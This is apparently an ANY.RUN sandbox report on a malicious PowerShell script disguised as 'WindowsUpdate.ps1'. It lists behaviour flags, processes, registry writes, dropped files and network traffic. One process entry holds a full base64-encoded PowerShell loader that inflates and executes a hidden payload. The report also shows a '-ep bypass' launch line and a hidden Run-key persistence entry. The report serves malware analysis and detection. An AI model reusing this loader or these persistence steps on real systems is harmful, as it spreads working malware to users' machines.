Malware analysis WindowsUpdate.ps1 Malicious activity

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File name:	WindowsUpdate.ps1
Full analysis:	https://app.any.run/tasks/46f2128a-4b53-420f-8947-5a7a3f97262c
Verdict:	Malicious activity
Analysis date:	May 18, 2025, 09:34:08
OS:	Windows 10 Professional (build: 19044, 64 bit)
Tags:	lua
Indicators:
MIME:	text/plain
File info:	Unicode text, UTF-16, little-endian text, with very long lines (4729), with CRLF line terminators
MD5:	11159D6A99B66A8F158F7410350CA727
SHA1:	EFBFFC809D1645BC196231951AA1E7F695180CD3
SHA256:	7C846629E0C60135165A240803E8DF5A9E5D4A8588B903D431D07E7A63C508B3
SSDEEP:	192:BJEaBB8CMPVQwdja9Pfx6ShbaHAIUtb1LjtsBJ5WzeBydapie2ISrt:BFBB8NRa9PgShbaHHUtbJeP5WzEydapG

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 240 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 180 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 11.3636.19041.0
Adobe Acrobat (64-bit) (23.001.20093)
Adobe Flash Player 32 NPAPI (32.0.0.465)
Adobe Flash Player 32 PPAPI (32.0.0.465)
CCleaner (6.20)
FileZilla 3.65.0 (3.65.0)
Google Chrome (122.0.6261.70)
Google Update Helper (1.3.36.51)
Java 8 Update 271 (64-bit) (8.0.2710.9)
Java Auto Updater (2.8.271.9)
Microsoft Edge (122.0.2365.59)
Microsoft Edge Update (1.3.185.17)
Microsoft Office Professional 2019 - de-de (16.0.16026.20146)
Microsoft Office Professional 2019 - en-us (16.0.16026.20146)
Microsoft Office Professional 2019 - es-es (16.0.16026.20146)
Microsoft Office Professional 2019 - it-it (16.0.16026.20146)
Microsoft Office Professional 2019 - ja-jp (16.0.16026.20146)
Microsoft Office Professional 2019 - ko-kr (16.0.16026.20146)
Microsoft Office Professional 2019 - pt-br (16.0.16026.20146)
Microsoft Office Professional 2019 - tr-tr (16.0.16026.20146)
Microsoft Office Professionnel 2019 - fr-fr (16.0.16026.20146)
Microsoft Office профессиональный 2019 - ru-ru (16.0.16026.20146)
Microsoft OneNote - en-us (16.0.16026.20146)
Microsoft Update Health Tools (3.74.0.0)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2015-2022 Redistributable (x64) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2015-2022 Redistributable (x86) - 14.36.32532 (14.36.32532.0)
Microsoft Visual C++ 2022 X64 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Additional Runtime - 14.36.32532 (14.36.32532)
Microsoft Visual C++ 2022 X86 Minimum Runtime - 14.36.32532 (14.36.32532)
Mozilla Firefox (x64 en-US) (123.0)
Mozilla Maintenance Service (123.0)
Notepad++ (64-bit x64) (7.9.1)
Office 16 Click-to-Run Extensibility Component (16.0.15726.20202)
Office 16 Click-to-Run Licensing Component (16.0.16026.20146)
Office 16 Click-to-Run Localization Component (16.0.15726.20202)
Office 16 Click-to-Run Localization Component (16.0.15928.20198)
PowerShell 7-x64 (7.3.5.0)
Skype version 8.104 (8.104)
Update for Windows 10 for x64-based Systems (KB4023057) (2.59.0.0)
Update for Windows 10 for x64-based Systems (KB4023057) (2.63.0.0)
Update for Windows 10 for x64-based Systems (KB4480730) (2.55.0.0)
Update for Windows 10 for x64-based Systems (KB5001716) (8.93.0.0)
VLC media player (3.0.11)
WinRAR 5.91 (64-bit) (5.91.0)
Windows PC Health Check (3.6.2204.08001)

Hotfixes

Client LanguagePack Package
DotNetRollup
DotNetRollup 481
FodMetadata Package
Foundation Package
Hello Face Package
InternetExplorer Optional Package
KB5003791
KB5011048
KB5015684
KB5033052
LanguageFeatures Basic en us Package
LanguageFeatures Handwriting en us Package
LanguageFeatures OCR en us Package
LanguageFeatures Speech en us Package
LanguageFeatures TextToSpeech en us Package
MSPaint FoD Package
MediaPlayer Package
Microsoft OneCore ApplicationModel Sync Desktop FOD Package
Microsoft OneCore DirectX Database FOD Package
NetFx3 OnDemand Package
Notepad FoD Package
OpenSSH Client Package
PowerShell ISE FOD Package
Printing PMCPPC FoD Package
Printing WFS FoD Package
ProfessionalEdition
QuickAssist Package
RollupFix
ServicingStack
ServicingStack 3989
StepsRecorder Package
TabletPCMath Package
UserExperience Desktop Package
WordPad FoD Package

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MALICIOUS
- Bypass execution policy to execute commands
  - powershell.exe (PID: 7868)
- Modifies registry (POWERSHELL)
  - powershell.exe (PID: 8080)
SUSPICIOUS
- There is functionality for taking screenshot (YARA)
  - vlc.exe (PID: 7316)
- Base64-obfuscated command line is found
  - powershell.exe (PID: 7868)
- Starts POWERSHELL.EXE for commands execution
  - powershell.exe (PID: 7868)
- Application launched itself
  - powershell.exe (PID: 7868)
- BASE64 encoded PowerShell command has been detected
  - powershell.exe (PID: 7868)
- Uses base64 encoding (POWERSHELL)
  - powershell.exe (PID: 8080)
- Checks a user's role membership (POWERSHELL)
  - powershell.exe (PID: 8080)
INFO
- Reads the computer name
  - vlc.exe (PID: 7316)
- Checks supported languages
  - vlc.exe (PID: 7316)
- The process uses Lua
  - vlc.exe (PID: 7316)
- Manual execution by a user
  - powershell.exe (PID: 7868)
- Converts byte array into ASCII string (POWERSHELL)
  - powershell.exe (PID: 8080)
- Uses string replace method (POWERSHELL)
  - powershell.exe (PID: 8080)
- Gets or sets the time when the file was last written to (POWERSHELL)
  - powershell.exe (PID: 8080)
- Checks proxy server information
  - slui.exe (PID: 6988)
- Reads the software policy settings
  - slui.exe (PID: 6988)
  - slui.exe (PID: 7496)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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TRiD

.txt	\|	Text - UTF-16 (LE) encoded (66.6)
.mp3	\|	MP3 audio (33.3)

No data.

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All screenshots are available in the full report

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Total processes

136

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID

CMD

Path

Indicators

Parent process

6988

C:\WINDOWS\System32\slui.exe -Embedding

C:\Windows\System32\slui.exe

svchost.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows Activation Client

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

7316

"C:\Program Files\VideoLAN\VLC\vlc.exe" --started-from-file C:\Users\admin\AppData\Local\Temp\WindowsUpdate.ps1.mp3

C:\Program Files\VideoLAN\VLC\vlc.exe

—

explorer.exe

User:

admin

Company:

VideoLAN

Integrity Level:

MEDIUM

Description:

VLC media player

Version:

3.0.11

Modules

Images
c:\program files\videolan\vlc\vlc.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll

7464

C:\WINDOWS\system32\SppExtComObj.exe -Embedding

C:\Windows\System32\SppExtComObj.Exe

—

svchost.exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

KMS Connection Broker

Exit code:

Version:

10.0.19041.3996 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\sppextcomobj.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\oleaut32.dll

7496

"C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent

C:\Windows\System32\slui.exe

SppExtComObj.Exe

User:

NETWORK SERVICE

Company:

Microsoft Corporation

Integrity Level:

SYSTEM

Description:

Windows Activation Client

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\slui.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll

7868

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep bypass "C:\Users\admin\Desktop\WindowsUpdate.ps1"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

explorer.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

7876

\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\System32\conhost.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Console Window Host

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll

8080

"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -E cwBhAGwAIABhACAATgBlAHcALQBPAGIAagBlAGMAdAA7AGkAZQB4ACgAYQAgAEkATwAuAFMAdAByAGUAYQBtAFIAZQBhAGQAZQByACgAKABhACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARABlAGYAbABhAHQAZQBTAHQAcgBlAGEAbQAoAFsASQBPAC4ATQBlAG0AbwByAHkAUwB0AHIAZQBhAG0AXQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFYAYgBiADkAcABJAEYASAA3AG4AVgA0AHcAUQBrAHEARQBzAGgARQB1AEMAYQBCAEQAUwBBAGoARwB4AGsAMgBBAE0ATgByAGUARQBLAEUAegBzAEEAZAB6AFkATQArADUANABEAEQAZwBwAC8AMwAyAFAATQBhAFIAdABXAG4AVwBsADMAUgBkADcAegBtAFgATwA1AFQAdQBYAFMAUwAxAEQAYQBnAG0ASABVAFQAVAB5AGIAUwB4AEkAWQBlAEoAUQBtADIAMgBEAHQANQBTAE8ATwBmAGEAeQBEADgAYgBXAEUAZABiADYATQBhAE0AVABIAGoAaQBCAHkASwBVAHkATQB1AGUATQB0AHcANgBYAGQARQA2AFcAaABCAE4AcQBrAGEAWgBrAE8AQwA2AGgAdwBvADAANgBqAEEAcQBIAGgAawBSAEsAWgBRAHkATABPADcANQBvAHYAZwBYAFkAUgBSAGgAcABaAEYAdgBvAFAAMwA4AGgAbABtAGcANABaAEoAZgBGAFMATwAwAFgARABjAEUASgA5AG8AWQBFADIANABSAG4ARQAxAGEASABlAFQANABuAFEAUQBEAG0AaQAxAGQAawA2AFUASgBRAGkAVgBiADIAQQBhAFEAOQA0AGoARQBlAEoAWQB6AEgAQgAvAEMAMQBJAFYAdwA4AFgAbAA1ADIATwBmAFAAYQBPAEMAQwAxAGMANQBBADUAZABKAFcAVgB6AE4AbgBuAHQAbABIAFgAVwByAEkANgAzAGEAeQBYAE4AVwBVADIAZgBuAG0ANQBtAGMAegBNADQAZABWAE8AdABuAGoAYgAyAGMANgAwADIAZABmAGIAaQBWAEsAUgBkAGMATQBNAHkAMAA3AGcAaQBzAHAATgBxAGQATABKAGEAMwBuAGIASAAxADcAVQByAHUAKwAvAFYATwAvADUAZQBWAFgAZABsAFUAWgBNAEMAWgBUAHoAbAAzAFUAcABFAHQAcgBJAEsAeQBuAGwAUwBiAGYAUABwAHoAYwBXAHMAVgBYADkAcQAzAEYAYgBhAGQAMwAzAHkANwBzAHAAOQBUADUAUAB5AHMAOQA5AGYATgBZAHIAVQAyAHQAZAB1ADkARQBIAFgAYgBkADMATgBxAEcAYQBNAHQAUwBDACsAdgBTAFYAegArAHIAcgAxAGwAbgAxAHQAcQByAFcAdQA3AEoASABLADUAMQBSAFMAZQB2ADMAdQA4ACsANwA3AFkAVgA1AFAAYgB5AHkASABlAEsAOQBuAEcAdABsAFcAWABiAHQAZQA3AFcAKwAwAG8AeQBCAHQAcAAxAE4AbQBNADEAbgByADIAMwA1AFcAagB2AGYAMABmAHAAVQBHAHgAbwAxAHAANwBTAFoAdgBvADUAdgBkAEwATwAxAEgAaQBqADUAKwAyAGMAegB1AE4AVgA4AC8ALwBWAHMAbwAwAFMAQwBEAFcAYQA3AFcAMAB1ADEAcwBhADUAVgBOAC8AZgA1AHAAZQAxAFAAMQB5ADIAbQBYAFAAVABYAGsAVABiAGwAbgBUAEcAdgA1AEwAOQB1AHgAMgBmAFIAagBiADIAaABuAGYAcwA2ADkAdgAyAEwAcgBVAHoAYQA5AGkAWgBjADcAbQBiAEwANQBhAEIAOQBsAFcAKwAxAG0AawAwAHAAOQA5AGYARABoADEATAA4AGMATwA0AHgAbQB3AEQAawBWADgAUQA2ADgAbgBLAGcAYgBwAEsAZABLAE0AcgBVAFkAagBhAGcARAA5AEsAVwAwAFYASABWAFgASwA0AFkAMQA5AFoAawBNAHIAVwB6AHUAWAAzAEsAVwBXAGIAZgBHACsAawB0AHAAcQBDAC8AaQBCAFYAeQBSADAAUgBGAEgAYwBwAG0ATwBUADUAMgBpADgAYwBXAGYARwBjADgALwBrAEYASgB0AGEASABwAFEAQQBJAGUAcgA0AG4AbwBoAEIAeQA2AFUAVwBUAEIAcgB4AHEAbwBkAE0AaABjADgAaQBjAFAANwBkAEIAeABSAGEATAAyAEsATABWAHMAegA2AEUAUQBHAE0AZQBDAGMAUwBtAFgAUwA3ADEAbABkAE0ANgBXAHoAWQB3ACsANwBIAGYAVgBPADcAbgBZAGMAdAAxAFIAQQBNAEgARABYADIARwBCAEMAQgBvAFoASABVAGMAdQB3ADMAWQB6AHYAYwBoADAAdwBSAEwAaABUAFkATwBJAHcAcwBSAHoAVgBCAG8ASQBEAEYATwBCAEMAaAAwAFgAQgB3AEYANgBlAHAASQAzAEUARgBlAGkAaABBAG8AYQA5AGsAagBnAFkANQBBAHYAMABwAHcAeABNAFEALwBDADUAKwBBAHcASwA0AEQAdQBJAG8AMABLAEwAYgA0AEsAUABiAGcAUQBvAEwALwBmAEsAQwBnADMAcABXAFEANgB1AGQAUQA0AEcASQBvAE4ARwBMAEcAQgBwAG4AUwA0ADMAMwBHADgAYwBVAFYAcQBEAEUATABDAG8AegB0AE0AVgB5AEYAZQBrAGUAWQBpAFAAUgBuAGMATABkAEkASgBGAHkAaABEAHYAcABNADcASgB2AHEARQB1AHMATgArAEQAMABJADYAQgBRAG4AbABkAEoAYQBPAGgAVwBQAG4AQgArAHQAbwBvAHAAcQBLAHEAcQBGAGEAQwBVADAAVQBlAFMAZwBqAEUALwBNAFYARQBlADkASgBxAFUAWQBMAFMAUQBCAGgAdABmAEoAMAB4AHkAegBzAG0AbwA1AEgASgBOAFQAUwByAGoANABvAEYAaABVAFcAYwB0AFIARQA1AFkAdgBmAEMAWAB1AHcASgBBAFEAQgBjAGEAbQBFAHIAbwBmADkAawBmADcAZAA3AFMASwA5AGIAeQB3AHkATQBOAHcAQgBvAFAAQQBiAFUAUAA4AFYAdgB3AFIAMQBDAFgAcgBXAHcAOQBTACsAYwB5AGcANQBKAEgAYQB5AEsAUAAyAE0ATQBQAG8AQQA4AFEALwBYAFQATwBMADUAOABRAFkAQwArAEIAYQBaADcAQwBJAGoAMAA4ADIAbABFAFEAVwBDAGUARQBQAHcAbQA1AHMAbgA1ADIAcABsAGYAdQBwAFoAdABpAFgAYwBXAEIAUABYAG4AVwAvAEsAeABkAEwAYwBqACsAawBnAHAAbwB0AGsARgAwAGYATwBxAEUAcgBCAEMAWQBiADEAdQBTAEYAUQBuAEcASAA0AEkAOABPAE4AbQB0AEkAUwB1AHcARwBSADkAbwAzAC8AbQB2AFgAVABVADkASgBtAEoAagB1AGwAMgA0AGIAWQBZAEMAaAAvAFQAdgByAFkAcwBLAGYATwBiAGIAeQBqAC8AUgAzADQAUABmAHEARwArAHEARQBvAGEASwBIAHIAcAB2AGMAcABBAG4ASAA5AE0AaABUAEgAaQBZAHMASAA0ADkAZQA1AGsATwBLAFYAcgB3AEoAQQBjAE0AZQBIAFAAUgAyAGgAZwBvADcARgBHAGkAbQAzAG4AZABHAGwAdwBaAFoAaQBpAHoAbQBaADkAeAB5AEwAcwB3AEMAbwBFADQAagB6AG8AOQBGAHgAdgBDAGsAWQBuAFEATgBHADgAeQBUADkANAB5AE0ARgBJADMAUwB5AGEARQBZACsAUQBjAG4ASwBSADQAVQB4AGQAawBPAEMAMABvAHQAMABKAHYAcwAvAEsAeABYAEQAKwBYAE8AdAAwAFAARgBsAE4ARQBUAGsARQBxAFEANABOAGkAeQBlAHQATABSAFAAZQBTACsAMgB3ADEASABXADgARgAxAEgASgBOAG4AQgBOADQANABlAEgAWgBEAEsAcABiAEkAcgA2ADMAaABFAGUAWgBTAFYAawBBAFEAVABXAEkATwBlAHoANgBQAGoAKwA1AGoANwBGAG8ATQBNAFoAUwBDAEoASABpAHAAMABXAFEAcABlAFMASABUAEMAOABkAHUAcABDAEsAawBKADcARABGAFMAQQBOAEkAUAB4AGIAdgA0AHYAVABLAEoAdQBhAEoASwBOACsAeQBGAHgATwB0ADIALwArAEYAUgBoADkAQwBTADUAWgB0AEsALwBRAE0APQAnACkALABbAEkATwAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgAuAEMAbwBtAHAAcgBlAHMAcwBpAG8AbgBNAG8AZABlAF0AOgA6AEQAZQBjAG8AbQBwAHIAZQBzAHMAKQApACwAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApACkALgBSAGUAYQBkAFQAbwBFAG4AZAAoACkA

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

—

powershell.exe

User:

admin

Company:

Microsoft Corporation

Integrity Level:

MEDIUM

Description:

Windows PowerShell

Exit code:

Version:

10.0.19041.1 (WinBuild.160101.0800)

Modules

Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\atl.dll
c:\windows\system32\combase.dll

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Total events

10 400

Read events

10 399

Write events

Delete events

Modification events


(PID) Process:	(8080) powershell.exe	Key:	HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Operation:	write	Name:	Updater
Value: "C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
7868	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\R9QHX4GU5UZ8BY9FSM3F.temp		binary
		MD5:ECB6193B848398763079E140AFC5C7C8	SHA256:E84CBB2FC9BE4AFE75F8D6B2DA6EBC0D7B9FBE2620AC1F6234D04EEC53504C03
7868	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF110fcc.TMP		binary
		MD5:D040F64E9E7A2BB91ABCA5613424598E	SHA256:D04E0A6940609BD6F3B561B0F6027F5CA4E8C5CF0FB0D0874B380A0374A8D670
7316	vlc.exe	C:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.fn7316		text
		MD5:31E815A0DB3506CF757542A17871BECE	SHA256:359B55079DACA0F8AD59A1B4AF0B74A4349C8C4C77EE5E43E5484DCFBAFB70E5
7316	vlc.exe	C:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini.lock		text
		MD5:60DE9A675F58C5B773D3D1D8FC040A36	SHA256:7E8ADBCD32AA529984787735090B0DBB200EEFCB6D41B8F4F5E214386E271001
7316	vlc.exe	C:\Users\admin\AppData\Roaming\vlc\vlc-qt-interface.ini		text
		MD5:31E815A0DB3506CF757542A17871BECE	SHA256:359B55079DACA0F8AD59A1B4AF0B74A4349C8C4C77EE5E43E5484DCFBAFB70E5
7868	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_rgv254j1.yvs.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8080	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_etakliyv.g0n.psm1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
8080	powershell.exe	C:\Users\admin\Documents\WindowsPowerShell\profile.ps1		text
		MD5:345616EB44754F1A9A4EDAF2D401FCFD	SHA256:A28C933DCB00FE8036D259E310B30647DA6416D6FA3BAE1CD418497671A15886
7868	powershell.exe	C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms		binary
		MD5:ECB6193B848398763079E140AFC5C7C8	SHA256:E84CBB2FC9BE4AFE75F8D6B2DA6EBC0D7B9FBE2620AC1F6234D04EEC53504C03
7868	powershell.exe	C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_0v4udecv.0bl.ps1		text
		MD5:D17FE0A3F47BE24A6453E9EF58C94641	SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
5496	MoUsoCoreWorker.exe	GET	200	23.216.77.22:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	23.216.77.22:80	http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl	unknown	—	—	whitelisted
—	—	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
5496	MoUsoCoreWorker.exe	GET	200	184.30.21.171:80	http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl	unknown	—	—	whitelisted
6544	svchost.exe	GET	200	2.17.190.73:80	http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D	unknown	—	—	whitelisted
8160	SIHClient.exe	GET	200	23.219.150.101:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl	unknown	—	—	whitelisted
8160	SIHClient.exe	GET	200	23.219.150.101:80	http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl	unknown	—	—	whitelisted

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Connections

PID	Process	IP	Domain	ASN	CN	Reputation
4	System	192.168.100.255:137	—	—	—	whitelisted
2104	svchost.exe	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
—	—	51.104.136.2:443	settings-win.data.microsoft.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
5496	MoUsoCoreWorker.exe	23.216.77.22:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
—	—	23.216.77.22:80	crl.microsoft.com	Akamai International B.V.	DE	whitelisted
5496	MoUsoCoreWorker.exe	184.30.21.171:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
—	—	184.30.21.171:80	www.microsoft.com	AKAMAI-AS	DE	whitelisted
4	System	192.168.100.255:138	—	—	—	whitelisted
6544	svchost.exe	20.190.159.129:443	login.live.com	MICROSOFT-CORP-MSN-AS-BLOCK	IE	whitelisted
6544	svchost.exe	2.17.190.73:80	ocsp.digicert.com	AKAMAI-AS	DE	whitelisted

DNS requests

Domain	IP	Reputation
settings-win.data.microsoft.com	51.104.136.2 4.231.128.59	whitelisted
google.com	142.250.186.142	whitelisted
crl.microsoft.com	23.216.77.22 23.216.77.25 23.216.77.28 23.216.77.20 23.216.77.30 23.216.77.8 23.216.77.41 23.216.77.36 23.216.77.42	whitelisted
www.microsoft.com	184.30.21.171 23.219.150.101	whitelisted
login.live.com	20.190.159.129 40.126.31.71 40.126.31.69 20.190.159.64 40.126.31.1 40.126.31.67 20.190.159.75 40.126.31.128	whitelisted
ocsp.digicert.com	2.17.190.73	whitelisted
slscr.update.microsoft.com	172.202.163.200	whitelisted
fe3cr.delivery.mp.microsoft.com	40.69.42.241	whitelisted
activation-v2.sls.microsoft.com	20.83.72.98 40.91.76.224	whitelisted
nexusrules.officeapps.live.com	52.111.227.14	whitelisted

Threats

No threats detected

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No debug info

General Info

WindowsUpdate.ps1

11159D6A99B66A8F158F7410350CA727

EFBFFC809D1645BC196231951AA1E7F695180CD3

7C846629E0C60135165A240803E8DF5A9E5D4A8588B903D431D07E7A63C508B3

192:BJEaBB8CMPVQwdja9Pfx6ShbaHAIUtb1LjtsBJ5WzeBydapie2ISrt:BFBB8NRa9PgShbaHHUtbJeP5WzEydapG

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Bypass execution policy to execute commands

Modifies registry (POWERSHELL)

SUSPICIOUS

There is functionality for taking screenshot (YARA)

Base64-obfuscated command line is found

Starts POWERSHELL.EXE for commands execution

Application launched itself

BASE64 encoded PowerShell command has been detected

Uses base64 encoding (POWERSHELL)

Checks a user's role membership (POWERSHELL)

INFO

Reads the computer name

Checks supported languages

The process uses Lua

Manual execution by a user

Converts byte array into ASCII string (POWERSHELL)

Uses string replace method (POWERSHELL)

Gets or sets the time when the file was last written to (POWERSHELL)

Checks proxy server information

Reads the software policy settings

Malware configuration

Static information

TRiD

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Information

Modules

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings